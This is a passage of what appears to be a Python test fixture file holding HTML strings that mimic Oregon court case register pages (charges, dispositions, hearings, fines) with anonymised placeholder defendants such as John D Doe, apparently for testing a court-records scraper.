ssSmallText"></td></tr></table></div></div></div><div style="padding-left: 10px;font-size:8pt;">
Created: 06/12/2017 2:57 PM</div></div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDCD4">06/12/2017</th><td style="border-right: 1px solid black"> </td><td> </td><td valign="top" headers="CDisp RCDCD4"><div style="padding-bottom: 10px"><b>Sentence - Violation</b> (Judicial Officer: Office, Judicial M)<br /><div><div style="padding-left: 10px">2. Violation Driving While Suspended or Revoked<div style="padding-left: 40px"><table cellspacing="0px" border="0" cellpadding="0px"><colgroup><col style="width:135px;" /><col style="width:135px;" /><col style="width:110px;" /><col style="width:100px;" /><col style="width:100px;" /></colgroup><tr><td style="text-align:left;" colspan="2" class="ssMenuText ssSmallText">
Fee Totals:
</td></tr><tr><td class="ssMenuText ssSmallText"><nobr><table cellspacing="0px" cellpadding="0px" style="table-layout:fixed" width="100%"><colgroup><col width="20px" /><col width="*" /></colgroup><tr><td style="text-align:left;" colspan="2" class="ssMenuText ssSmallText"></td></tr></table></nobr></td></tr><tr style=""><td style="text-align:left" class="ssMenuText ssSmallText"></td><td style="text-align:right;padding-right:20px;" class="ssMenuText ssSmallText">
Amount
</td><td style="text-align:right;padding-right:20px;" class="ssMenuText ssSmallText">
Reduction
</td><td style="text-align:right;padding-right:20px;" class="ssMenuText ssSmallText">
Owed
</td></tr><InputFeeScheds><tr><td style="padding-left:20px;text-align:left;" class="ssMenuText ssSmallText">Fine - Traffic</td><td style="text-align:right;padding-right:20px;" class="ssMenuText ssSmallText">$440.00</td><td style="text-align:right;padding-right:20px;" class="ssMenuText ssSmallText"></td><td style="text-align:right;padding-right:20px;" class="ssMenuText ssSmallText">$440.00</td></tr></InputFeeScheds><tr style=""><td style="text-align:left" class="ssMenuText ssSmallText"><span>Fee Totals </span><span>$</span></td><td style="text-align:right;padding-right:20px;" class="ssMenuText ssSmallText">$440.00</td><td style="text-align:right;padding-right:20px;" class="ssMenuText ssSmallText"></td><td style="text-align:right;padding-right:20px;" class="ssMenuText ssSmallText">$440.00</td></tr><tr style=""><td style="text-align:left" class="ssMenuText ssSmallText"><span>Fee Modifier </span></td><td style="text-align:right;padding-right:20px;" class="ssMenuText ssSmallText"></td><td style="text-align:right;padding-right:20px;" class="ssMenuText ssSmallText"></td><td style="text-align:right;padding-right:20px;" class="ssMenuText ssSmallText"></td></tr><tr><td style="text-align:left;" colspan="2" class="ssMenuText ssSmallText"></td></tr></table></div></div></div><div style="padding-left: 10px;font-size:8pt;">
Created: 06/12/2017 2:58 PM</div></div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDCD5">06/12/2017</th><td style="border-right: 1px solid black"> </td><td> </td><td valign="top" headers="CDisp RCDCD5"><div style="padding-bottom: 10px"><b>Sentence - Violation</b> (Judicial Officer: Office, Judicial M)<br /><div><div style="padding-left: 10px">3. Failure to Obey Traffic Control Device<div style="padding-left: 40px"><table cellspacing="0px" border="0" cellpadding="0px"><colgroup><col style="width:135px;" /><col style="width:135px;" /><col style="width:110px;" /><col style="width:100px;" /><col style="width:100px;" /></colgroup><tr><td style="text-align:left;" colspan="2" class="ssMenuText ssSmallText">
Fee Totals:
</td></tr><tr><td class="ssMenuText ssSmallText"><nobr><table cellspacing="0px" cellpadding="0px" style="table-layout:fixed" width="100%"><colgroup><col width="20px" /><col width="*" /></colgroup><tr><td style="text-align:left;" colspan="2" class="ssMenuText ssSmallText"></td></tr></table></nobr></td></tr><tr style=""><td style="text-align:left" class="ssMenuText ssSmallText"></td><td style="text-align:right;padding-right:20px;" class="ssMenuText ssSmallText">
Amount
</td><td style="text-align:right;padding-right:20px;" class="ssMenuText ssSmallText">
Reduction
</td><td style="text-align:right;padding-right:20px;" class="ssMenuText ssSmallText">
Owed
</td></tr><InputFeeScheds><tr><td style="padding-left:20px;text-align:left;" class="ssMenuText ssSmallText">Fine - Traffic</td><td style="text-align:right;padding-right:20px;" class="ssMenuText ssSmallText">$265.00</td><td style="text-align:right;padding-right:20px;" class="ssMenuText ssSmallText"></td><td style="text-align:right;padding-right:20px;" class="ssMenuText ssSmallText">$265.00</td></tr></InputFeeScheds><tr style=""><td style="text-align:left" class="ssMenuText ssSmallText"><span>Fee Totals </span><span>$</span></td><td style="text-align:right;padding-right:20px;" class="ssMenuText ssSmallText">$265.00</td><td style="text-align:right;padding-right:20px;" class="ssMenuText ssSmallText"></td><td style="text-align:right;padding-right:20px;" class="ssMenuText ssSmallText">$265.00</td></tr><tr style=""><td style="text-align:left" class="ssMenuText ssSmallText"><span>Fee Modifier </span></td><td style="text-align:right;padding-right:20px;" class="ssMenuText ssSmallText"></td><td style="text-align:right;padding-right:20px;" class="ssMenuText ssSmallText"></td><td style="text-align:right;padding-right:20px;" class="ssMenuText ssSmallText"></td></tr><tr><td style="text-align:left;" colspan="2" class="ssMenuText ssSmallText"></td></tr></table></div></div></div><div style="padding-left: 10px;font-size:8pt;">
Created: 06/12/2017 2:58 PM</div></div></td></tr><tr><td> </td><td> </td><td> </td><td></td></tr><tr><td> </td><td style="border-right: 1px solid black"> </td><td> </td><th id="COtherEventsAndHearings" class="ssEventsAndOrdersSubTitle">OTHER EVENTS AND HEARINGS</th></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER1">03/14/2017</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER1"><b><a href="CPR.aspx?CaseID=55555555&EventID=5555555&CaseCategoryKeys=CR&NodeID=a lot of nodes">Citation</a></b><div style="padding-left: 10px;font-size:8pt;">
Created: 03/15/2017 8:47 AM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER2">04/10/2017</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER2"><b><a href="CPR.aspx?CaseID=55555555&EventID=5555555&CaseCategoryKeys=CR&NodeID=a lot of nodes">Appearance</a></b><div style="padding-left: 10px"><i>av</i></div><div style="padding-left: 10px"><table cellpadding="0" cellspacing="0" border="0"></table></div><div style="padding-left: 10px;font-size:8pt;">
Created: 04/10/2017 11:43 AM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" ID="RCDHR3">06/12/2017</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDHR3"><a href="CPR.aspx?CaseID=55555555&EventID=5555555&CaseCategoryKeys=CR&NodeID=a lot of nodes"><b>Trial - Court</b> </a>
(1:30 PM)
(Judicial Officer Officer, Judicial M)
<div style="padding-left: 10px"><i>Billy Bob (#55555)</i></div><table></table> Result: FTA - Default<div style="padding-left: 10px;font-size:8pt;">
Created: 04/18/2017 11:55 AM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER4">06/13/2017</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER4"><b><a href="CPR.aspx?CaseID=55555555&EventID=5555555&CaseCategoryKeys=CR&NodeID=a lot of nodes">Judgment - Offense General Creates Lien</a></b><div style="padding-left: 10px"><table cellpadding="0" cellspacing="0" border="0"></table></div><div style="padding-left: 10px;font-size:8pt;">
Created: 06/13/2017 2:08 PM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER5">07/17/2017</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER5"><b>Judgment - Payment Schedule Assessment</b><div style="padding-left: 10px"><i>Added by Payment Schedule Assessment Job</i></div><div style="padding-left: 10px"><table cellpadding="0" cellspacing="0" border="0"></table></div><div style="padding-left: 10px;font-size:8pt;">
Created: 07/17/2017 7:11 PM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER6">07/18/2017</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER6"><b>Judgment - License Sanction Failure to Comply</b><div style="padding-left: 10px"><table cellpadding="0" cellspacing="0" border="0"></table></div><div style="padding-left: 10px;font-size:8pt;">
Created: 07/18/2017 8:28 AM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER7">07/24/2017</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER7"><b>Notice - Delinquent</b><div style="padding-left: 10px;font-size:8pt;">
Created: 07/24/2017 7:45 AM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER8">08/09/2017</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER8"><b>Recordation - Collection Referral Judgment</b><div style="padding-left: 10px;font-size:8pt;">
Created: 08/09/2017 8:05 AM</div></td></tr></table><table cellpadding="0" cellspacing="0" width="100%" border="0"><col width="1" /><col width="0" /><col width="3" /><col width="20%" /><col width="40%" /><col width="40%" /><col width="1" /><caption><div class="ssCaseDetailSectionTitle">Financial Information</div></caption><tr><td colspan="7"></td></tr><tr><td> </td><td> </td><td> </td><td> </td><td> </td><td> </td></tr><tr><td> </td><td> </td><td> </td><td> </td><td> </td><td> </td></tr><tr><td valign="top"> </td><td style="border-right: 1px solid black"> </td><td> </td><th class="ssTableHeaderLabelLeft" colspan="4" style="padding-left:3px" id="CDFRB1"><span style="font-weight: bold;">Defendant</span> Doe, John D</th></tr><tr><td> </td><td style="border-right: 1px solid black"> </td><td> </td><th class="ssTableHeaderLabelLeft" colspan="3" style="padding-left:3px" id="RCDFRBFA1">Total Financial Assessment</th><td align="right" headers="CDFRB1 RCDFRBFA1"> 1,516.80</td></tr><tr><td> </td><td style="border-right: 1px solid black"> </td><td> </td><th class="ssTableHeaderLabelLeft" colspan="3" style="padding-left:3px" id="RCDFRPC1">Total Payments and Credits</th><td align="right" headers="CDFRB1 RCDFRPC1"> 0.00</td></tr><tr><td> </td><td style="border-right: 1px solid black"> </td><td> </td><th class="ssTableHeader" colspan="3" style="padding-left:3px" id="RCDFRBD1">
Balance Due as of 11/25/2018</th><td align="right" headers="CDFRB1 RCDFRBD1"> <b>1,516.80</b></td></tr><tr><td> </td><td style="border-right: 1px solid black"> </td><td> </td><td> </td><td> </td><td> </td><td> </td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDFTRD1">03/15/2017</th><td style="border-right: 1px solid black"> </td><td> </td><th class="ssTableHeaderLabelLeft" style="padding-left:3px" id="RCDFTRDE1">Transaction Assessment</th><td headers="CDFRB1 RCDFTRD1 RCDFTRDE1"> </td><td headers="CDFRB1 RCDFTRD1 RCDFTRDE1"> </td><td align="right" headers="CDFRB1 RCDFTRD1 RCDFTRDE1"> 970.00</td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDFTRD2">06/12/2017</th><td style="border-right: 1px solid black"> </td><td> </td><th class="ssTableHeaderLabelLeft" style="padding-left:3px" id="RCDFTRDE2">Transaction Assessment</th><td headers="CDFRB1 RCDFTRD2 RCDFTRDE2"> </td><td headers="CDFRB1 RCDFTRD2 RCDFTRDE2"> </td><td align="right" headers="CDFRB1 RCDFTRD2 RCDFTRDE2"> 265.00</td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDFTRD3">06/12/2017</th><td style="border-right: 1px solid black"> </td><td> </td><th class="ssTableHeaderLabelLeft" style="padding-left:3px" id="RCDFTRDE3">Transaction Assessment</th><td headers="CDFRB1 RCDFTRD3 RCDFTRDE3"> </td><td headers="CDFRB1 RCDFTRD3 RCDFTRDE3"> </td><td align="right" headers="CDFRB1 RCDFTRD3 RCDFTRDE3"> 440.00</td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDFTRD4">06/12/2017</th><td style="border-right: 1px solid black"> </td><td> </td><th class="ssTableHeaderLabelLeft" style="padding-left:3px" id="RCDFTRDE4">Transaction Assessment</th><td headers="CDFRB1 RCDFTRD4 RCDFTRDE4"> </td><td headers="CDFRB1 RCDFTRD4 RCDFTRDE4"> </td><td align="right" headers="CDFRB1 RCDFTRD4 RCDFTRDE4"> 265.00</td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDFTRD5">07/17/2017</th><td style="border-right: 1px solid black"> </td><td> </td><th class="ssTableHeaderLabelLeft" style="padding-left:3px" id="RCDFTRDE5">Transaction Assessment</th><td headers="CDFRB1 RCDFTRD5 RCDFTRDE5"> </td><td headers="CDFRB1 RCDFTRD5 RCDFTRDE5"> </td><td align="right" headers="CDFRB1 RCDFTRD5 RCDFTRDE5"> 200.00</td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDFTRD6">07/18/2017</th><td style="border-right: 1px solid black"> </td><td> </td><th class="ssTableHeaderLabelLeft" style="padding-left:3px" id="RCDFTRDE6">Transaction Assessment</th><td headers="CDFRB1 RCDFTRD6 RCDFTRDE6"> </td><td headers="CDFRB1 RCDFTRD6 RCDFTRDE6"> </td><td align="right" headers="CDFRB1 RCDFTRD6 RCDFTRDE6"> 15.00</td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDFTRD7">08/09/2017</th><td style="border-right: 1px solid black"> </td><td> </td><th class="ssTableHeaderLabelLeft" style="padding-left:3px" id="RCDFTRDE7">Transaction Assessment</th><td headers="CDFRB1 RCDFTRD7 RCDFTRDE7"> </td><td headers="CDFRB1 RCDFTRD7 RCDFTRDE7"> </td><td align="right" headers="CDFRB1 RCDFTRD7 RCDFTRDE7"> 331.80</td></tr><tr><td> </td><td style="border-right: 1px solid black"> </td><td> </td><td> </td><td> </td><td> </td><td> </td></tr></table>
<form id="Form1" action="" method="post"></form>
</body>
</html>
'''
CASE_WITHOUT_FINANCIAL_SECTION = """
<html>
<head>
<link rel="stylesheet" type="text/css" href="#"/>
</head>
<body>
<?xml version="1.0" encoding="utf-8"?><table cellspacing="0" cellpadding="0" width="100%" border="0" style="table-layout: fixed; margin:0px; padding:0px;"></table><table cellspacing="0" cellpadding="0" width="100%" border="0" style="table-layout: fixed; margin:0px; padding:0px;"><tr><td bgcolor="#000000" height="20px"><table cellspacing="0" cellpadding="0" width="100%" border="0"><tr><td align="left" style="padding-left: 5px"><font size="1"><a class="ssBlackNavBarHyperlink" href="#MainContent">Skip to Main Content</a> <a class="ssBlackNavBarHyperlink" href="logout.aspx">Logout</a> <a class="ssBlackNavBarHyperlink" href="MyAccount.aspx?ReturnURL=default.aspx">My Account</a> <a class="ssBlackNavBarHyperlink" href="default.aspx">Search Menu</a> <a class="ssBlackNavBarHyperlink" href="Search.aspx?ID=100">Search Criminal, Traffic and Parking Case Records</a> <a class="ssBlackNavBarHyperlink" href="Search.aspx?ID=100&RefineSearch=1">Refine Search</a> <a class="ssBlackNavBarHyperlink" href="
 javascript:if((new String(window.location)).indexOf("#MainContent") > 0)
 {
 history.back();
 history.back();
 }
 else history.back();
 ">
Back</a> </font></td><td align="center" class="ssBlackNavBarLocation"></td><td align="right" style="padding-right: 10px"><table cellspacing="0" cellpadding="0" border="0"><tr><td class="ssBlackNavBarLocation">
Location : All Locations</td><td><font size="1"><a class="ssBlackNavBarHyperlink" target="_blank" href="http://www.courts.oregon.gov/services/online/Documents/OJCIN/OECI/PA_QRefG_OJIN.pdf">Help</a></font></td></tr></table></td></tr></table></td></tr></table><a id="MainContent" name="MainContent" tabindex="-1"></a><div class="ssCaseDetailROA" nowrap="true">Register of Actions</div><div class="ssCaseDetailCaseNbr" nowrap="true">
Case No. <span style="font-variant: normal">C12345-C</span></div><table cellpadding="0" cellspacing="0" border="0" width="100%"><tr><td width="50%" valign="top"><b>State of Oregon VS. JOHN D DOE</b></td><td>§<br />§<br />§<br />§<br />§<br />§<br />§<br /></td><td width="50%" valign="top" align="center"><table cellpadding="0" cellspacing="0" width="90%" border="0"><tr><td width="70%"><table cellpadding="0" cellspacing="0" width="100%" border="0"><cols><col width="50%" /><col width="50%" /></cols><tr><th class="ssTableHeaderLabel">Case Type:</th><td style="padding-left:10px"><b>Offense Felony</b></td></tr><tr><th class="ssTableHeaderLabel">Date Filed:</th><td style="padding-left:10px"><b>04/12/1992</b></td></tr><tr><th class="ssTableHeaderLabel">Location:</th><td style="padding-left:10px"><b>Multnomah</b></td></tr><tr><th class="ssTableHeaderLabel" valign="top">Booking Number:</th><td style="padding-left:10px" valign="top"><b>01234567</b></td></tr><tr><th class="ssTableHeaderLabel" valign="top">District Attorney Number:</th><td style="padding-left:10px" valign="top"><b>01234567</b></td></tr></table></td></tr></table></td></tr></table><table cellpadding="0" cellspacing="0" width="100%" border="0" style="table-layout: fixed"><col width="10%" /><col width="30%" /><col width="10%" /><col width="30%" /><col width="20%" /><caption><div class="ssCaseDetailSectionTitle">Party Information</div></caption><tr><td colspan="4"></td><th class="ssTableHeader" id="PIc5">Attorneys</th></tr><tr><th class="ssTableHeader" valign="top" rowspan="2" id="PIr01">Defendant</th><th class="ssTableHeader" valign="top" id="PIr11">DOE, JOHN D <i>Also Known As</i> The other guy</th><td rowspan="2"></td><td rowspan="2" valign="top" headers="
 PIr01 
 PIr11">description<br />
DOB: 2014<br />6' 5", 165 lbs</td><td rowspan="2" valign="top" headers="
 PIr01 
 PIr11 
 PIc5
 "><s></s></td></tr><tr><td valign="top" headers="
 PIr01 
 PIr11"> unknown<br /> PORTLAND , OR 97211 <br /><nobr> SID:
</nobr>OR55555555<br /><nobr> Other Agency Numbers
</nobr><div style="padding-left: 15px;">99719 Multnomah County Sheriff</div></td></tr><tr height="25"><td colspan="5"> </td></tr><tr><th class="ssTableHeader" valign="top" rowspan="2" id="PIr02">Plaintiff</th><th class="ssTableHeader" valign="top" id="PIr12">State of Oregon</th><td rowspan="2"></td><td rowspan="2" valign="top" headers="
 PIr02 
 PIr12"> </td><td rowspan="2" valign="top" headers="
 PIr02 
 PIr12 
 PIc5
 "><s></s></td></tr><tr><td valign="top" headers="
 PIr02 
 PIr12"></td></tr></table><table cellpadding="0" cellspacing="0" width="100%" border="0"><col width="2%" /><col width="40%" /><col width="15%" /><col width="15%" /><col width="15%" /><col width="10%" /><caption><div class="ssCaseDetailSectionTitle">Charge Information</div></caption><tr><th class="ssTableHeader" nowrap="true" colspan="2">
Charges: DOE, JOHN D</th><th class="ssTableHeader"></th><th class="ssTableHeader">
Statute
</th><th class="ssTableHeader">
Level
</th><th class="ssTableHeader">
Date
</th></tr><tr><td valign="top">1.
</td><td valign="top">Poss Controlled Sub 2</td><td valign="top"></td><td valign="top">4759924B</td><td valign="top" nowrap="true">Felony Class C</td><td valign="top" nowrap="true">04/12/1992</td></tr><tr><td /><td></td></tr></table><table cellpadding="0" cellspacing="0" width="100%" border="0" style="table-layout:fixed;"><col width="54px" /><col width="3px" /><col width="3px" /><col width="700px" /><col width="100%" /><caption><div class="ssCaseDetailSectionTitle">Events & Orders of the Court</div></caption><tr><td> </td><td style="border-right: 1px solid black"> </td><td> </td><th id="CDisp" class="ssEventsAndOrdersSubTitle">DISPOSITIONS</th></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDCD1">04/30/1992</th><td style="border-right: 1px solid black"> </td><td> </td><td valign="top" headers="CDisp RCDCD1"><div style="padding-bottom: 10px"><b>Disposition</b> (Judicial Officer: Unassigned, Judge)<br /><div><div style="padding-left: 10px">1. Poss Controlled Sub 2<div style="padding-left: 40px">Dismissed</div><div style="padding-left: 40px"></div></div></div><div style="padding-left: 10px;font-size:8pt;">
Created: 05/01/1992 12:00 AM</div></div></td></tr><tr><td> </td><td> </td><td> </td><td></td></tr><tr><td> </td><td style="border-right: 1px solid black"> </td><td> </td><th id="COtherEventsAndHearings" class="ssEventsAndOrdersSubTitle">OTHER EVENTS AND HEARINGS</th></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER1">04/13/1992</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER1"><b>Information</b><div style="padding-left: 10px;font-size:8pt;">
Created: 04/13/1992 12:00 AM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" ID="RCDHR2">04/13/1992</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDHR2"><b>Arraignment</b>
(2:30 PM)
()
<table></table><div style="padding-left: 10px;font-size:8pt;">
Created: 04/12/1992 12:00 AM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER3">04/14/1992</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER3"><b>Motion - Recognizance Release</b><div style="padding-left: 10px"><i>Comment: dcsn 3rd prty PRSP;
</i></div><div style="padding-left: 10px;font-size:8pt;">
Created: 04/14/1992 12:00 AM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER4">04/14/1992</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER4"><b>Agreement - Recognizance Release</b><div style="padding-left: 10px"><i>Comment: PRSP;
</i></div><div style="padding-left: 10px;font-size:8pt;">
Created: 04/14/1992 12:00 AM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER5">04/14/1992</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER5"><b>Request - Fail to Appear Warrant</b>
(Judicial Officer:
Doe, John D
)
<div style="padding-left: 10px"><i>Court Action: Signed; Court Action Date: 04/13/1992;
Judge: John D Doe;
</i></div><div style="padding-left: 10px"><table cellpadding="0" cellspacing="0" border="0"><tr><th class="ssTableHeaderLabelLeft">Signed: </th><td>04/13/1992</td></tr></table></div><div style="padding-left: 10px;font-size:8pt;">
Created: 04/14/1992 12:00 AM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER6">04/14/1992</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER6"><b>Warrant - Failure to Appear</b>
(Judicial Officer:
Doe, John D
)
<div style="padding-left: 10px"><i>Judge: John D Doe;
</i></div><div style="padding-left: 10px"><table cellpadding="0" cellspacing="0" border="0"></table></div><div style="padding-left: 10px;font-size:8pt;">
Created: 04/14/1992 12:00 AM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER7">04/29/1992</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER7"><b>Return - Service Bench Warrant</b><div style="padding-left: 10px"><i>Comment: Warrant Recall 04/29/92;
</i></div><div style="padding-left: 10px;font-size:8pt;">
Created: 04/29/1992 12:00 AM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER8">04/30/1992</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER8"><b>Dismissed - Defendant Indicted</b><div style="padding-left: 10px;font-size:8pt;">
Created: 05/01/1992 12:00 AM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER9">04/30/1992</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER9"><b>Closed</b><div style="padding-left: 10px;font-size:8pt;">
Created: 05/01/1992 12:00 AM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" ID="RCDHR10">04/30/1992</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDHR10"><b>Hearing - Further Proceedings</b>
(2:10 PM)
()
<div style="padding-left: 10px"><i>Comment: FOR DISMISSAL Def indicted 04/28/92;
</i></div><table></table><div style="padding-left: 10px;font-size:8pt;">
Created: 04/29/1992 12:00 AM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER11">05/05/1992</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER11"><b>Disposition - Reported</b><div style="padding-left: 10px"><table cellpadding="0" cellspacing="0" border="0"></table></div><div style="padding-left: 10px;font-size:8pt;">
Created: 05/05/1992 12:00 AM</div></td></tr></table>
<form id="Form1" action="" method="post"></form>
</body>
</html>
"""
CASE_WITH_PARTIAL_DISPOS = """
<html>
<head>
<link rel="stylesheet" type="text/css" href="#"/>
</head>
<body>
<?xml version="1.0" encoding="utf-8"?><table cellspacing="0" cellpadding="0" width="100%" border="0" style="table-layout: fixed; margin:0px; padding:0px;"></table><table cellspacing="0" cellpadding="0" width="100%" border="0" style="table-layout: fixed; margin:0px; padding:0px;"><tr><td bgcolor="#000000" height="20px"><table cellspacing="0" cellpadding="0" width="100%" border="0"><tr><td align="left" style="padding-left: 5px"><font size="1"><a class="ssBlackNavBarHyperlink" href="#MainContent">Skip to Main Content</a> <a class="ssBlackNavBarHyperlink" href="logout.aspx">Logout</a> <a class="ssBlackNavBarHyperlink" href="MyAccount.aspx?ReturnURL=default.aspx">My Account</a> <a class="ssBlackNavBarHyperlink" href="default.aspx">Search Menu</a> <a class="ssBlackNavBarHyperlink" href="Search.aspx?ID=100">Search Criminal, Traffic and Parking Case Records</a> <a class="ssBlackNavBarHyperlink" href="Search.aspx?ID=100&RefineSearch=1">Refine Search</a> <a class="ssBlackNavBarHyperlink" href="
 javascript:if((new String(window.location)).indexOf("#MainContent") > 0)
 {
 history.back();
 history.back();
 }
 else history.back();
 ">
Back</a> </font></td><td align="center" class="ssBlackNavBarLocation"></td><td align="right" style="padding-right: 10px"><table cellspacing="0" cellpadding="0" border="0"><tr><td class="ssBlackNavBarLocation">
Location : All Locations</td><td size="1"><a class="ssBlackNavBarHyperlink" href="CPR.aspx?CaseID=55555555&CaseCategoryKeys=CR&NodeID=a_lot_of_nodes">Images</a> </td><td><font size="1"><a class="ssBlackNavBarHyperlink" target="_blank" href="http://www.courts.oregon.gov/services/online/Documents/OJCIN/OECI/PA_QRefG_OJIN.pdf">Help</a></font></td></tr></table></td></tr></table></td></tr></table><a id="MainContent" name="MainContent" tabindex="-1"></a><div class="ssCaseDetailROA" nowrap="true">Register of Actions</div><a href="CPR.aspx?CaseID=55555555&CaseCategoryKeys=CR&NodeID=a_lot_of_nodes"><div class="ssCaseDetailCaseNbr" nowrap="true" style="cursor: hand" title="Click to view images on the case">
Case No. <span style="font-variant: normal">555555555</span></div></a><table cellpadding="0" cellspacing="0" border="0" width="100%"><tr><td width="50%" valign="top"><b>State of Oregon
vs
JOHN D DOE</b></td><td>§<br />§<br />§<br />§<br />§<br />§<br />§<br /></td><td width="50%" valign="top" align="center"><table cellpadding="0" cellspacing="0" width="90%" border="0"><tr><td width="70%"><table cellpadding="0" cellspacing="0" width="100%" border="0"><cols><col width="50%" /><col width="50%" /></cols><tr><th class="ssTableHeaderLabel">Case Type:</th><td style="padding-left:10px"><b>Offense Misdemeanor</b></td></tr><tr><th class="ssTableHeaderLabel">Date Filed:</th><td style="padding-left:10px"><b>03/06/2018</b></td></tr><tr><th class="ssTableHeaderLabel">Location:</th><td style="padding-left:10px"><b>Multnomah</b></td></tr><tr><th class="ssTableHeaderLabel" valign="top">Booking Number:</th><td style="padding-left:10px" valign="top"><b>5555555</b></td></tr><tr><th class="ssTableHeaderLabel" valign="top">District Attorney Number:</th><td style="padding-left:10px" valign="top"><b>555555-1</b></td></tr></table></td></tr></table></td></tr></table><table cellpadding="0" cellspacing="0" width="100%" border="0" style="table-layout: fixed"><col width="10%" /><col width="30%" /><col width="10%" /><col width="30%" /><col width="20%" /><caption><div class="ssCaseDetailSectionTitle">Party Information</div></caption><tr><td colspan="4"></td><th class="ssTableHeader" id="PIc5">Attorneys</th></tr><tr><th class="ssTableHeader" valign="top" rowspan="2" id="PIr01">Defendant</th><th class="ssTableHeader" valign="top" id="PIr11">Doe, John D</th><td rowspan="2"></td><td rowspan="2" valign="top" headers="
 PIr01 
 PIr11">Tall Person<br />
DOB: 2014<br />10' 1", 180 lbs</td><td rowspan="2" valign="top" headers="
 PIr01 
 PIr11 
 PIc5
 "><b>Attorney</b><br /> <I>Court Appointed</I><br />503 225-9100(W)</td></tr><tr><td valign="top" headers="
 PIr01 
 PIr11"> Unknown<br /> Portland, OR 97233<br /><nobr> Other Agency Numbers
</nobr><div style="padding-left: 15px;">99719 Multnomah County Sheriff</div></td></tr><tr height="25"><td colspan="5"> </td></tr><tr><th class="ssTableHeader" valign="top" rowspan="2" id="PIr02">Plaintiff</th><th class="ssTableHeader" valign="top" id="PIr12">State of Oregon</th><td rowspan="2"></td><td rowspan="2" valign="top" headers="
 PIr02 
 PIr12"> </td><td rowspan="2" valign="top" headers="
 PIr02 
 PIr12 
 PIc5
 "><b>MULTNOMAH DISTRICT ATTORNEY</b></td></tr><tr><td valign="top" headers="
 PIr02 
 PIr12"></td></tr></table><table cellpadding="0" cellspacing="0" width="100%" border="0"><col width="2%" /><col width="40%" /><col width="15%" /><col width="15%" /><col width="15%" /><col width="10%" /><caption><div class="ssCaseDetailSectionTitle">Charge Information</div></caption><tr><th class="ssTableHeader" nowrap="true" colspan="2">
Charges: Doe, John D</th><th class="ssTableHeader"></th><th class="ssTableHeader">
Statute
</th><th class="ssTableHeader">
Level
</th><th class="ssTableHeader">
Date
</th></tr><tr><td valign="top">1.
</td><td valign="top">Reckless Driving</td><td valign="top"></td><td valign="top">811.140</td><td valign="top" nowrap="true">Misdemeanor Class A</td><td valign="top" nowrap="true">03/06/2018</td></tr><tr><td /><td></td></tr><tr><td valign="top">2.
</td><td valign="top">Resisting Arrest</td><td valign="top"></td><td valign="top">162.315</td><td valign="top" nowrap="true">Misdemeanor Class A</td><td valign="top" nowrap="true">03/06/2018</td></tr><tr><td /><td></td></tr><tr><td valign="top">3.
</td><td valign="top">Interfering w/ Peace/Parole and Probation Officer</td><td valign="top"></td><td valign="top">162.247</td><td valign="top" nowrap="true">Misdemeanor Class A</td><td valign="top" nowrap="true">03/06/2018</td></tr><tr><td /><td></td></tr><tr><td valign="top">999.
